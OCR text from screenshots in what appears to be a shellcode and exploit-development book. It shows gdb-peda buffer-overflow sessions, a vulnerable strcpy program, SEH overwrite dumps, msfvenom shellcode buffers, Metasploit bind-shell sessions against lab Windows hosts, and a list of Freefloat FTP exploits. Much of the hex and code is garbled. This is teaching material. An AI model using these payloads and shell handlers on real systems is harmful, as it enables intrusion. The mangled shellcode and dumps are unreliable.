hello world
[Inferior 1 (process 28771) exited normally]

Warning: not running or target is remote
gdb-pedas []
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# ./pattern_offset.rb -q 42306142 -1 1000
[*] Exact match at offset 780
#[]
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Legend: code, data, rodata, value

Stopped reason: 1iiil

0X0800626262626262 in 22 ()

“ib-pedat disassemble letsprint

Dump of assembler code for function letsprint:

6X60000000004005€3 <+0>: push  rbp
6X00000000004005e4 <+1>: mov  rbp,rsp
6X60000000004005e7 <+d>: mov  edi,0x4006b4
6X00000000004005eC <+9>: call  0x400490 <puts@plt>
6X600000000040051 <+14>:  mov  edi,oxe
6X000000000040056 <+19>:  call ~ 0x4604cO <exit@plt>

End of assembler dump.
adb-pedas I
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# ./ins

# echo §?





images/00363.jpeg
Configure Proxies to Access the Internet

No proxy

Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration:

HTTP Proxy:

SSL Proxy:
ETP Proxy:
SOCKS Host:

No Proxy for:

127.00.1

Use this proxy server for all protocols

SOCKS v4 @ SOCKS v5

localhost, 127.0.0.1

8080

8080
8080
8080





images/00003.jpeg





images/00031.jpeg
Litte-endian

6c | 6c | 65






images/00112.gif
CF 0|1

Most significant bit

Least significant bit






images/00256.jpeg
Backup

Copy
Binary
Assemble

Label
Comment

Add Header
Modiy Variable
Breakpoint
Hittrace

Run trace

Goto
Follow in Dump

View call tree:

Search for
Find references to
View

Copy to exccutable

Analysis
Bookmark.

Appearance

Name (abel) in current module

Name in all modules

All Commands in all modules

All sequences in all modules

Command
Sequence of commands
Constant

Binary string

Allintermodular call
Al commands

Al sequences

Al constants

Al switches

Al referenced tect strings

User-defined label

User-defined comment






images/00069.jpeg
Registers

1

0006800060000000
0006800080000080
0006800000061234
0005800080000080
00007 d67acad40
0006800060000000
0006800080000060
0006800060000080
0006800060000060
0006800060000000
0006800080000060
0005800080000080

Registers | Bookmarks

5 Stack

00007 d:67acadd0|
00007 7d:67aeadds|
00007 d:67aeads0|
00007 d:67aeadss|
000071 fd:67acads0|
/080077 67aeadss|
00007 d:67aead70|
00007 d:67aead78|
00007 fd:67acad80|
00007 7d:67aeadss|
60007 d: 67aeadg0)|

0000000000005675 [V
o000a0e0cene1234 (4.
0000800000000001
00007 Fd67acca7h {1006
0000800060000000
00007 Fd67accb26 |S006

00007 Fc57aecb30 (000 .

00007 6 7aecb31 | 7006
00007 6 7aecbs4 (TIT06
00007 6 7aecbe? oot
00067 Ffds7aecb72 | Moh

ascrn

ascrn
ascn
ascn
ascn
ascn
lascIT

"

|

o=





images/00102.jpeg
=i = i =i -registers--
RAX: 0x10111011

REX: 0x11010110

RCX: OX0

RDX: OX0

RSI: OX0

RDI: OX0

REP: X0






images/00036.jpeg
Welcome Guide — Atom

File Edit View Selection Find Packages Help

© About X Welcome

& ATOM

A hackable text editor for the
215t Century

For help, please visit

« The Atom docs for Guides and the API
reference.

« The Atom forum at discuss.atom.io

« The Atom org. This is where all GitHub-
created Atom packages can be found,

Welcome Guide x

Get to know Atom!

Open a Project

Version control with Git and
GitHub

Install a Package

Choose a Theme

B 0fles





images/00004.jpeg
~anMapt





images/00255.jpeg
OBHENFRA

stz
st3
sTs
sTs
sTe
st7

551
e

o0s70ERC
BaRDOOEZ
7EFDE000
oozerro0
6l616161
00000000
00000000

sz6z6262

=
c
ss
os
55
a

o028
o023
o028
o028
o0s3
o028

Lasezzr

00010246

empty g
empry
empry
empry

empry
empry
empry

o000
S e KAl

)
e
e
empty g
)
e
e

00000000

s2bic
32bic
32bic
32bic
32bic
32bic

ERROR._

o (ssssEEEE)
o (ssrEEEEE)
o (srrEEEEE)
o (serEEEEE)
7£¥DD000 (¥¥E)
0 (ssrrEEEE)

success (00000000)

(0,8, =, 52, N5, 2%, 6=, 1)

10
0o Emo
bt





images/00158.jpeg
G0t reds xprint 0x5555555546e4
0x5555555546e4 ("hello world")
gdb-pedas []
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# cat /usr/include/x86_64-linux-gnu/asm/unistd 64.h | grep socket
#define _ NR socket 41

#define __NR_socketpair 53

#[
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Edit Shell Debug Options Windows Help

Nov 27 2010, 18:30:46) [MSC v.1500 32 bit (Intel)] on
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Recent Files »
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Class Browser  Alt+C.
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Save Ctrl+Shift+S
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Close At
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stack@ubuntu:~$ ./exec $(cat input.txt)
Shellcode Length: 32
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\Users\test\vulnserver>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Bluetooth Network Connection:

Media State . . . . . . ... ..
Connection-specific DNS Suffix

: Media disconnected

Ethernet adapter Local Area Connection:

: localdomain
feB0::2dcO:564a:e448: f19f%11
172.16.89.131

255.255.255.0

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . .
TPvA) Afidress. SRl SRR S
Ssubnet Mask . . . . . . .. ...
Default Gateway . . . . . ... .

C:\Users\test\vulnservers[]
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# objdump -D -M intel hello-world

hello-world: file format elf64-x86-64

Disassembly of section .text:

00000000004000
4000b! mov  eax,ox1
4000b5: mov  edi,ox1
4000b: movabs rsi,ox6000ds
4000c:
4000c: mov edx,0xc
4000c: syscall
4000cb : mov  eax,0x3c
40004 mov  edi,ox1

4000d5: syscall
Disassembly of section .data:

00000000006000(/8 < GLOSAL_OFFSET TABLE|>:

60004 65 6¢ 6C 6F push  Ox6f6c6c65

6000dd : 77 of and  BYTE PTR [rdi+ox6f],dh
6000e! 6c ib 60014e <_end+0x66>
6000¢: s

6000e: .byte oxa

#
#0





images/00388.jpeg





images/00147.jpeg
ox1
ox0
ox0
ox0
ox0
ox1
ox0
ox7fFfffffelad --> ox1
04200005 (<_start+1>: movabs rsi,0x6000d8)
ox0
ox0
ox0
ox0
ox0
ox0
ox0
R1S: Ox0
EFLAGS: @x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
- code- I
0x4000ae:  add  BYTE PTR [rax],al
0x4000b0 < start>: mov  eax,0xl
0x4000b5 < start+5>: mov  edi,oxl
=> 0x4000ba < start+10>: movabs rsi,0x6000d8
0x4000C4 < Start+20>: mov  edx,0xc
0x4000C9 < start+25>: syscall
0x4000ch < start+27> mov  eax,0x3c
0x4000d0 < start+32> mov  edi,oxb
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Penetration
Testing with
Shellcode

Detect, exploit, and secure network-level and operating
system vulnerabilities
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0x0

ox1
0xe
ox7fffffffelad --> Bx1
Dri000ct (< starts2es:
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0

0x6000d5 ("hello there\n”)

mov  edx,0xc)

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

0x4000b0 < start>:  mov
0x4000b5 <_start+5>: mov
0x4000ba < start+10>:

0x4000C4 < start+20>
0x4000C9 < start+25>
0x4000Ch < start+27>:
0x4000d0 < start+32>:
0x4000d5 < start+37>:

- -code------ - - - -
eax, 0x1

edi,ox1

movabs rsi,@x6000d8

mov edx, 0xc

syscall

mov eax, 0x3c

mov  edi,oxb

syscall
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Payload size: 351 bytes
Final size of python file: 1684 bytes

buf =

buf \Xbb\x6€\X66\xF1\x4C\Xd9\xe9\XdI\X74\x24\xF4\x5a\x2b"
buf AXC9\Xb1\X52\X31\x5a\x12\x83\xea\xFc\x03\x34\x68\x13"
buf += "\xb9\x34\x9c\X51\x42\xC4\x5d\x36\xCa\x21\X6C\X76\xa8"

buf += "\x22\xdf\x46\xba\x66\xec\x2d\xee\x92\x67\x43\x27\x95"
buf += "\xcO\xee\x11\x98\xd1\x43\x61\xbb\x51\x9e\xb6\x1b\x6b"
buf += "\Xx51\xcb\x5a\xac\XxBc\x26\x0e\x65\xda\x95\xbe\x02\x96"
buf += "\x25\x35\x58\x36\x2€\xaa\x29\x39\x1F\x7d\x21\x60\xbf"
buf += "\Xx7c\xe6\x18\x6\x66\xeb\x25\x40\x1d\xdF\xd2\x53\xF7"
buf += "\x11\x1a\xff\x36\x9e\xe9\x01\x7F\X19\X12\X74\x8I\x59"
buf += "\xaf\x8\x4€\x23\x6b\x05\x54\x83\xf8\xbd\xb0\x35\x2c"
buf += "\x5b\x33\x39\x99\x2f\x1b\x5€\x1c\xe3\Xx10\x5a\x95\x02"
buf += "\xf6\xea\xed\x20\xd2\xb7\xb6\x49\x43\x12\x18\X75\x93"
buf += "\xFd\xc5\xd3\xd8\x10\x11\x6€\x83\x7C\xd6\x43\x3b\x7d"
buf += "\x70\xd3\x48\x4T\xdf\x4T\xC6\xe3\xaB\x49\x11\x03\x83"
buf += "\x2e\x8d\xfa\x2c\x4f\x84\x38\x78\x1f\xbe\xe9\x01\xF4"
buf += "\x3e\x15\xd4\x5b\x6e\xb9\x87\x1b\xde\x79\x78\xF4\x34"
buf += "\X76\xa7\xe4\x37\X5C\xCO\XBF\XC2\X37\Xx43\X5F\x95\xC6"
buf += "\xf3\x62\x25\xd9\xe2\xea\xc3\xb3\xf4\xba\x5c\x2c\x6c"
buf += "\xe7\x16\xcd\x71\x3d\x53\xcd\xfa\xb2\xa4\x80\x0a\xbe"
buf += "\xb6\x75\xFb\x5\xe4\xd0\x04\x20\x80\xbF\x97\xaf\x50"

buf += "\xCO\XBb\X67\x07\x9e\x7a\x7e\xcd\x32\x24\x28\xf3\xce"
buf += "\xbO\X13\xb7\x14\x01\x9d\x36\xdB\x3d\xb\x28\x24\xbd"
buf += "\x85\x1c\xf8\xeB\x53\xca\xbe\x42\x12\xa4\x68\x38\xfc"
buf += "\x20\xec\x72\x37\x36\xF1\x5€\xcO\xd6\x40\x37\xBCc\xe9"

buf \x6d\xdF\x18\x92\x93\x7 F\xe6\x49\x10\x8T\xad\xd3\x3:
buf \X18\X68\x86\x03\x45\x8b\x7d\x47\x70\x08\X77\x38\x8
buf += "\x10\xF2\x3d\xc3\x96\xeF\x4F\x5c\x73\x0F\xe3\x5d\ x5!
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registers
©9iniiiitacis (<main>: push rbp)
0x0
0x0
ex7fffffffe:

--> ox7fFFffffedbs

=01;34:1n=01; 36 : mh=0(

0;41: tw=30;42:0w=34;4 .tar=e1;31:*.tgz:
OX7TFTTTTelag --> 0x771 11 cine - > Ox4c006f6C6c65682F (' /hello")
0x5555555546e4 (*hello world")
Ox7fFfFfffeaco --> 0x335355554660 (<_Llibc_csu_inits: push  r1s5)
Ox7FFfffffeac --> 0x335555554660 (<_Libc_csu_inits: push  r1s)
(0STiiiiiiit (<maintlls: call 0555555554510 <puts@plt>)
£4559555550000 (<__libe_csu_fini>: repz ret)
0x7fFff7decan (< dl_fini>: push  rbp)
oxa
ox1

CiSTiiiiiitic (< starts: xor  ebp,ebp)
: Ox7fffffffelad --> Oxl

0x0
R15: 0x0
EFLAGS: 8x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
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< 10 _new_popen+119:
< 10 new_popen+121>:
< 10 _new_popen+126:

< 10 puts>:
< 10 puts+2>:
< 10 puts+4>:
< 10 puts+7>:
< 10 puts+8>:

push
push
mov

push
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code
xor

jmp
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>>>
>>> 5 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> len(s)
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[stack@ubuntu:~$ cat /proc/5029/maps
00400000-0040b000 r-xp 00000000 08:01 262170
00602000-0060b000 r--p 00002000 08:01 262170
0060b000-0060c000 rw-p 0000b00E 08:01 262170
0060c000-0062d000 rw-p 00000000 00:00 O

7£FF£7333000-7FFFF7a15000
7£FFf7a15000- 7FFFF7bcfo00
7£FFf7bcfoo0-7FFFF7dcfoon
7fFFf7dcfoon-7FFFF7dd3000
7£FFf7dd3000-7FFFF7dd5000
7£FFF7dd5000- 7FFFF7ddace0
7£FFf7ddas00-7fFFF7dfdene
7£FFf7fddeco-7FFFF7fe0000
7FFFF7Ff6000-7FFFF77F8000
7FFFF7FF8000-7FFFF7FFa000
7£FFf7Ffa000-7FFFF7FFcO00
7FFFF7Ffcon0-7FFFF7FFdono
7fFFf7Ffdeoo-7FFFF7Ffe0n
7FFFf7ffeon0-7FFFF7Ffo00
7fFFffdeooo-7FFFFFFfoon

rw-p
FEffffffffeeeeee-ffffffffff601000 r-xp 00000000 00:00 ©
[stack@ubuntu:~$ I

00000000
00000000
001ba0oe
001ba0oe
001be00
00000000
00000000
00000000
00000000
00000000
00000000
00022000
00023000
00000000
00000000

08:
08:
08:
08:
08:
00:
08:
00:
00:
00:
00:
08:
08:
00:
00:

o1
o1
o1
o1
o1
00
o1
00
00
00
00
o1
o1
00
00

136418
530854
530854
530854
530854
)
530830
)
)
0
]
530830
530830
)
o

/bin/cat
/bin/cat
/bin/cat
[heap]
Jusr/lib/1o
/1ib/x86_64
/1ib/x86_64
/1ib/x86_64
/1ib/x86_64

/1ib/x86_64

[wvar]
[vdso]
/1ib/x86_64
/1ib/x86_64

[stack]
[vsyscall]
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msf exploit(handler) > sessions 1
[*1 starting interaction with 1...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2017 Computer Media Corporation. All rights reserved.

C:\Users\test\anothers[]
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Freefloat FTP Server 1.0 - 'SITE ZONE' Remote Buffer Overflow
Freefloat FTP Server 1.0 - 'DIR' Remote Buffer Overflow

Freefloat FTP Server 1.0 - 'RENAME' Remote Buffer Overflow
Freefloat FTP Server 1.0 - 'ABOR' Remote Buffer Overflow
Freefloat FTP Server 1.0 - 'HOST' Remote Buffer Overflow
Freefloat FTP Server 1,0 - 'RMD' Remote Buffer Overflow
Freefloat FTP Server 1.0 - DEP Bypass with ROP

Freefloat FTP Server 1.0 - 'Raw' Remote Buffer Overflow

Freefloat FTP Server - 'USER' Remote Buffer Overflow

Freefloat FTP Server - Arbitrary File Upload (Metasploit)

Freefloat FTP Server - 'PUT' Remote Buffer Overflow

Freefloat FTP Server - Remote Buffer Overflow (DEP Bypass)
Freefloat FTP Server - 'ALLO' Remote Buffer Overflow

Freefloat FTP Server 1.0 - 'ACCL' Remote Buffer Overflow.
Freefloat FTP Server - 'REST' Remote Buffer Overflow (Metasploit)

Freefloat FTP Server 1.0 - 'REST' / 'PASV' Remote Buffer Overflow
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Invalid $PC address: ©x626262626262

I --------stack--- |
0000 | Ox7TFTFFFfdeco --> OXTFFFTTTTdfcs --» Ox7FFfFfre32e ("/home/stack/buffer-
overflow/another /buffer")

0008| 0x77 77 ffdect --> 0x2004004d0

0016| Ox7FFfffffdedo --> OX7FFFFFffdfce --> Bx2

0024| 0x7Ffffdeds --> 0x100000000

0832| Ox7fFFffffdeco --> 6xO

0040] ©x7FIFffdecs -> 0.7 (177236745 (<__libc_start_main+245>: nov e
di,eax)

0648 Ox7FFFfffdef0 --> 0x0

0856| Ox7FFFFfffdef8 --> OX7FFFffffdfcs --> ox7FFFffffe3ze (*/home/stack/buffer-
over flow/another /buffer")

e

v

Legend: code, data, rodata, value
stopped reason: ©10iiiy
0X0000626262626262 in 22 ()
gdb-pedas
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rex 0x1234  0x1234

rdx ox0 ox0
rsi 0x0 0x0

rdi ox0 0x0

rbp ox0 ox0

rsp ox7fffffffeose  ox7fffffffeose
r8 ox0 ox0

ro ox0 0x0

rie ox0 0x0

ri1 ox0 ox0

ri2 ox0 ox0

ri3 ox0 ox0

ria ox0 ox0

ris ox0 0x0

rip 0x4000C9 0x4000c9 <_start+25>
eflags ox202 [ IF

cs 0x33 0x33

55 ox2b ox2b

ds 0x0 ox0

es ox0 ox0

fs ox0 ox0

9s 0x0 0x0

S0 pedot x/hx &meml

0X6000d8 : 0x9876

gdb-pedas []
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OXFFFFFFff

0x0

0x0

0x0

0x0

0x0

0x0

Ox7fFfffffe080 --> Bx1

00400000 (<_start+14>: mov  eax,0x3c)
0x0

0x0

0x0

0x0

0x0

0x0

0x0

R15: 0XO

EFLAGS: ©xa@2 (carry parity adjust zero sign trap INTERRUPT direction OVERFLOW:

registers----
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=[ metasploit v4.16.12-dev

1693 exploits - 968 auxiliary - 299 post

499 payloads - 40 encoders - 10 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

nsf > use exploit/multi/handler

nsf exploit(handler) > set payload windows/shell bind tcp
payload => windows/shell bind_tcp

msf exploit(handler) > set rhost 192.168.129.128

rhost => 192.168.129.128

msf exploit(handler) > run

[*] Exploit running as background job 0.

started bind handler

exploit(handler) > [*] Command shell session 1 opened (192.168.129.1:36697

1*]
1sf exploit(handler) > []

-> 192.168.129.128:4444)
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# nasm -v
NASM version 2.13.01
#[]
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| Sterthere | buffer2.c > |

1 #include <stdio.h>

2 sinclude <string.n>
3 tinclude <stalib.n>

s

S int copycobutfer (char~ inpuc)

6 [t

, char butfer(1s);

. screpy (butter, snput) ;

B return o

w0 b

1

12 votd 1ecaprincil]

33

1 prince ("Hey!! , you succeeded\a);
1 exic(o);

16

1

18 void main (int argc, char *argv(])
320 it

20 int local_variapie

21 copytobutter (azqvi:l);

2 exic(o);

3 |
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Jib-pedal peda pattern_offset 0x41413741
1094793025 found at offset: 104
gdb-pedas [
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0x424242424242 ('BBBBBB')

Ox7ffff7dd4e80 --> @x0

Ox7TFff7deas30 (< dl_fini»: push  rbp)
OX7FFFFFFfdase --> Bxe

Ox7FFFF7b8d360 --> Oxfff24a90fff24a80

0x400490 (<_start>: xor  ebp,ebp)
R13: Ox7fffffffdebo --> 6x2

R14: ©x0

R15: Ox0

EFLAGS: ©x16286 (carry PARITY adjust zero sign trap INTERRUPT direction overflow
)

]
Invalid SPC address: 0x4242
[+ - 2. <-=stacks= a5 s < -
0000 67T TTTTTTddbD --» OXTFFTFIFdebs --> OXTFTTFTffe2ia (*/home/stack/buffer-
overflow/exploit-developnent/buffer”)

0008 | 077 (17ddbS --> 0X200400490

8016] Ox7TFIFFfFddcO --> OXTFFIFTffdebe --> Ox2

0024 0x777{17ddcs --> 0Xx100000000

0032 0x77FFFTFdddo --> ox6

0046 ©x77FIFFffddds --> ox/f71f 7236745 (<_libc_start_main+245>: nov e
di,eax)

0048 0x77FfffFddeo --> Ox0

0056] 6x7fFffffddes --> OX7FFFFffdebs --> OX7FFFFfffe2ia ("/home/stack/buffer
overflow/exploit-developnent/buffer”)

fi- : " i i . i . i

Legend: <oc, data, rodata, value

Stopped reason: . il

9x0000424242424242 in 22 ()

gdb-pedas I

ode- -

v
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SYSTEM(3) Linux Programmer's Manual SYSTEM(3

NAME
systen - execute a shell command

SYNOPSIS
#include <stdlib.h>

int system(const char *command);

DESCRIPTION
The system() library function uses fork(2) to create a child process
that executes the shell command specified in command using execl(3) as
follows:

execl("/bin/sh", "sh", *-c", command, (char *) 0)
systen() returns after the command has been completed.

During execution of the command, SIGCHLD will be blocked, and SIGINT and
SIGQUIT will be ignored, in the process that calls system() (these sig

nals will be handled according to their defaults inside the child
process that executes command).
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gdb-peda$

[Inferior 1 (process 4496) exited with code 013]
Warning: not running or target is remote
gdb-pedas []
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0001263
00401288
00401250
00401295
0401255
0040120
0040122:
00401288
0s01280 -
004012
00401285
coa012c0 5
0s012cs
00s012C7
00s012C5
00401200
0401205
00401207
00401208
00401205
0401208
00401208
00s0120C
00401200
0401202
004012DF

e i

70423 010000(MOV DWORD IR S5:(35P1,1
FFLS 00618000 ~.. DHORD PTR DS:(<mevert._ set_spp_ti mevert._ sec_spp_type
8 GBEDEFEF  CALL bufferz.00401000

507426 00 1EA EST,DWORD PTR DS:[EST]

8DBC27 000000(LEA EDI,DHORD PTR DS: (EDI]

83EC 1 suB Esp,1C

70423 020000(M0V DWORD TR S5: (25912

FF1S 00614000 ~.. DHORD PIR DS:[<mevert._ set_spp_ti mevert._set_spp_type
8 4BEDEFEF  CALL bufferz.00401000

807826 00 1EA EST,DWORD PTR DS:[EST]

8DBC27 000000(LEA EDI,DHORD PTR DS: (EDI1

A1 12614000 MOV SAX,DHORD PTR DS: [<emsvert.atexit>]

FrE0 nE EAX

8sFe MoV Es1,E51

8DBC27 000000(LEA EDT,DWORD PTR DS: [EDT]

Al 0CE14000 MOV SAX, DHORD PTR DS: [<amsvers._onexits:

FrE0 25 ERX

50 xop

0 xop

0 xop

50 xop

50 xop

50 xop

s0 xop

50 xop

0 xop

00401220 § AL 0C204000 MOV EAX,DWORD PTR DS:[40200C1

Zsp-o0zarFac

00402000 FF
00402008 B0

0402010 00
o0s0z018 00
00302020 00
00s0z0z8 00

0402030 00
00402038 00
00402030 00
00402048 00

0402050 00
00s0z0s8 00
00302060 00
00s0z068 00

0402070 00
00402078 00
00402080 00
00402088 00
00302050 00

[21:03:321

£x
1c
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

T e

IF o0z6rF30
b o0zerEss
ﬂﬂ oozerrse
o oozerFsc
= o0zerERo
5 o0zeFFAs
o oozerEas
o oozerFac
o oozerrR0
56 oozerras
it oozerras
i oozersBC
= oozerrco
5 oozerzCs
o oozerzca
o oozersce
o o0zerFDo
56 o0zerEDs
it oozerrDe

7EFDE000
o0zerFDs
7DEA9ED2
7£#DE000
75914028
00000000
00000000

002657a0
00000000
FrErEEEE
7DEE1ECD

0250731
00000000
oozerFEC

7DEasEas
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o0s0136E 00 D8 00

ooso1zec  E8 DB =8
o0s0136D 67 DB 67 cun g
ooso1zez o8 o8 08

o0s0136r 00 D8 00

o0s01370 00 D8 00

ooso137L  ©7 s 7

o0s01372 04 DB 0s

o0s01373 28 o8 24 cun v5
00301374 00 D8 00

00801375 00 D8 00

00801376 00 D8 00

00801377 00 D8 00

ooso137e  E8 DB =8

o0s01375 &3 DB 63 ca e
o0s0137A 08 o8 08

00801378 00 D8 00

o0s0137C 00 D8 00

00401370 5 55 susH =52

o0s0137% | | ssEs MoV 80, 25D

o0s01380 | - B3Es FO AND 5P, FEFFEEFD

oos01383 | - s3zc 20 suB =sp,20

0001386 | | E8 DS0S000D  CaLi bufferz.00401360

00401388 | - C72424 1C 010(M0V DWORD TR Ss:[ESE4iC),1

00401353 |  sB45 OC MOV EAX, DWORD PTR S8 [EBBIC]

00301396 | - B3co 04 200 =ax, 4

00401395 | . eBoo MOV EAX,DWORD PTR DS: [EAX]
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oo’ “help”, “copyright”, “oredits" or “License" for more infornation.






images/00224.gif
# msfvenom -h
Msfvenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode

Usage: /usr/bin/msfvenom [options] <va

options:

+0

P,

-1,
-n,
-f,

-e,
-a,

-s,

-b,
-i,
-c,
X,
-k,
-0,
v,

--payload <payload>
--payload-options

--list [typel
--nopsled <length>
--format <format>
--help-fornats

--encoder <encoder>
--arch <arch>
--platforn <platform>
--help-platforns

--space <length>
--encoder-space <length>
--bad-chars <list>
--iterations <count>
--add-code <path>
--template <path>
--keep

--out <path>
--var-name <name>
--smallest

--help

al>

Payload to use. Specify a '-' or stdin to use custom payloads
List the payload's standard options

List a module type. Options are: payloads, encoders, nops, all
Prepend a nopsled of [length] size on to the payload

output format (use --help-formats for a list)

List available formats

The encoder to use

The architecture to use

The platform of the payload

List available platforms

The maximum size of the resulting payload

The maximum size of the encoded payload (defaults to the -s value)
The list of characters to avoid example: '\X00\xff

The number of times to encode the payload

Specify an additional win32 shellcode file to include

specify a custom executable file to use as a template

Preserve the template behavior and inject the payload as a new thread
save the payload

Specify a custom variable name to use for certain output formats
Generate the smallest possible payload

Show this message
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Payload size: 355 bytes
Final size of python file: 1710 bytes
[

buf \xda\xdB\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xCc1\x30

buf \XCO\Xe4\x0e\x36\x32\x14\xc F\X57 \xba\xF1\xfe\x57\xd8’
buf \X72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5:
buf += "\x5F\XcF\x01\XCB\X60\X7C\x71\x4b\xe3\x7\xa6\xab\xda
buf += "\x4f\xbb\xaa\x1b\xad\x36\xfe\xf4\xbo\xe5\xee\x71\xf7
buf += "\x35\x85\xca\x19\x3e\x7a\x9a\x18\x6F\x2d\x90\x42\xaf
buf AXCC\X75\xFF\xe6\xd6\x9a\x3a\xbO\x6d\ x68\xbO\x43\xa7
buf \xa0\x39\xe\xB6\X0C\XCB\XF1\XCF\xab\x33\x84\x39\xc8"
buf \xce\x9f\xfe\xb2\x14\x15\xe4\x15\xde\x8d\xcO\xa4\x33"
buf \x4b\x83\xab\xf8\x1F\xcb\xaf\xff\xcC\X60\xCb\x74\xf3"
buf \xa6\x5d\xCe\XxdO\X62\x05\x94\ x79\ X33\ xe3\X7b\ X85\ x23'
buf \X4€\x23\x23\x28\x61\x30\x5e\x73\xee\xf5\x53\xBb\ xee:
buf \X91\xe4\xFB\XdC\x3e\X5F\x96\X6C\XD6\X79\X61\x92\xed"
buf += "\x3e\xfd\x6d\x0e\x3f\xd4\xa9\x5a\x6f\xde\x1b\xe3\xed"
buf += "\x8e\xad\x36\x90\xB6\x03\xe9\xB87\x6b\xF3\x59\x08\xc3"
buf AX9C\xb3\XB7\X3C\XbC\xbb\Xx4d\X55\X55\x46\ X6\ x49\x47
buf += "\xcf\x88\x03\x97\xB6\x03\xbb\x55\xFd\x9b\x5c\xa5\xd7
buf \xb3\xca\xee\x31\x03\xf5\xee\x17\x23\ X6 1\X65\x74\x 7’

buf += "\x90\x7a\x51\x5f\xc5\xed\x2f\x0e\xa4\xBc\x30\x1b\x5e
\X2C\Xa2\xcO\x9e\x3b\xdF\x5e\XCI\XBC\x11\x97\x9F\x80!
\XBB\XO1\xbd\X58\XCC\X6a\X05\xB7\x2d\X74\ x84\ x42\x09
\X52\x96\x92\x92\xde\xc2\x4a\xc5\x88\xbc\x2c\xbF\x7a
\X16\Xe7\X6C\Xd5\x Fe\x7e\x5F\xe6\x78\x7 F\x8a\x90\x64'
\xce\x63\xe5\x9b\xfFAxe3\xel\xe4\x1d\x94\x0e\x3f\xa6:
"\Xa4\x44\x1d\x8F\x2c\x0 1\xF4\x8d\x30\xb2\x23\xd1\x4c
\X31\xc1\xaa\xaa\x29\xa0\xaf\xf7\xed\x59\xc2\x68\x98"
\X5d\X71\x88\x89"
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hello-world:

file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 < _start>:

4000b0:
4000b2
4000b5
4000b9:
4000c0:
4000c3:
4000c6
4000ca
4000cC:
4000CF:
4000d3:
400006

bo
a8
a8
a8
00
a8
a8
of
a8
a8
a8
of

o1
31
83
be
00
31
83
05
£
83
31
05

f
<7
ds
00
d2
2

o
@
f

o1
00 60 00 00

oc

3c

Disassembly of section .data:

mov  al,oxl
xor  rdi,rdi
add  rdi,ox1
movabs rsi,0x6000d8

xor  rdx,rdx
add  rdx,oxc
syscall

xor  rax,rax
add rax,0x3c
xor  rdi,rdi
syscall

00000000006000d8 < GLOBAL_OFFSET TABLE >:
65 6 6C 6F

600008 :
6000dd:
6000€0:
6000e2
6000e3:

68
20
72
64
0a

77
6c

6f

push  ©x6f6c6c65
and  BYTE PTR [rdi+ox6f],dh

b 60014 <_end+0x66>
s
.byte oxa
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Sync Breeze Enterprise Status

Nofile synchronization commands configured.
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ox7FFFffffe220:
ox7FFffffe230:
ox7fFffffe240:
Ox7FFFffffe250:
OxX7FFFFfffe260:
ox7FFFfffe270:
ox7fFfffffe280:
ox7FFFFfffe290:
ox7fffffffe2an:
ox7FFFFfffezbo:
ox7FFFffffezco:
ox7ffffffe2do:
ox7FFfffffezen:
ox7FFffffe2fo:
ox7FFFffffe300:
ox7ffffffe31o:
ox7fffffffe320:
ox7fffffffe33o:
ox7fFfffffe3do:
ox7FfFffffe3so:
Ox7FFfffffe360:
ox7FFfffffe370:
ox7fFffffe3so:
ox7FFffffe3o0:
ox7fffffffe3an:
ox7FFFFfffe3bo:
ox7fFFffffe3co:
ox7ffFffffe3do:
ox7Fffffffe3en:

0x75622f6b63617473
0x78652f77676C6672
0x6656d706F6C6576
©X9090909090909000
©x9090909090909090
©X9090909090909090
©x9090909090909090
©X9090909090909090
©x9090909090909090
©X9090909090909090

©x9090909090909090
©X9090909090909090
©x9090909090909090
©X9090909090909090
©x9090909090909090
©X9090909090909090
©x9090909090909090

0x4343434343434343
0x4343434343434343
0x524e54565F474458
0x495f4e4F49535345
0x524554454552475F
0x6c2f7261762f3d52
0x2617461642d6d64
0x4e495F58554e494C
0x495F52455454554C
0x475047006d69783d
ox6e75722f3d4fa64e

0X65766F2d72656666
0X65642d74696F6C70
0X7265666675622F74

©x4343434343434343
0x0042424242424243
0x535f47445800373d
0x4744580034633d44
0x49445F415441445F
0X746867696C2F6269
0x4553006b63617473
0x43005345593d5449
0x454c55444f4d5Fad
0x495f544e4547415F
0x30312f726573752F
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04B16FEC
03816850
03816834
0s816F38
0sg168SC
0s8168R0
0s8165As
0se165A8

03816780
0s8165Bs
0se165EE
oss16FEC
0ss165CO
0s8165Cs
oss165CE
oss16zCC
03816800
0s8165Ds
03816508
POpp—

41414141 ARRA
slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa
Ry

‘Pointer to next SIH record

41313131 AAAA SE handler
slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

slslslsl amaa

1414141 nann
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msf exploit(handler) > run
[*] Exploit running as background job 1.

[+] Started bind handler
msf exploit(handler) > [*] Command shell session 2 opened (192.168.129.1:38397 -> 192.168.129.128:4444)

nsf exploit(handler) > []
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7DEBOO0E 50 Nop
7DEBO00E S0 Nop

780010 S0 Nop

780011 S0 xop

780012 S0 xop

7DEBO013 S0 Nop

7DEBO0Ls S0 Nop

7DEBO01S S0 xop

7DEBO016 S0 Nop

780017 S0 Nop

7pEB001E S0 Nop

7DEBO01S S0 xop

7DEBO01A S0 xop

7DEBO0IE S0 Nop

7DEBO0IC S0 Nop

7DEB00ID S0 xop

7DEBO0IE S0 xop

7DEBO0LE S0 Nop

7DEBO0Z20 BBACZS 04 MOV ECK, DWORD PTR S5: [£5P+4)
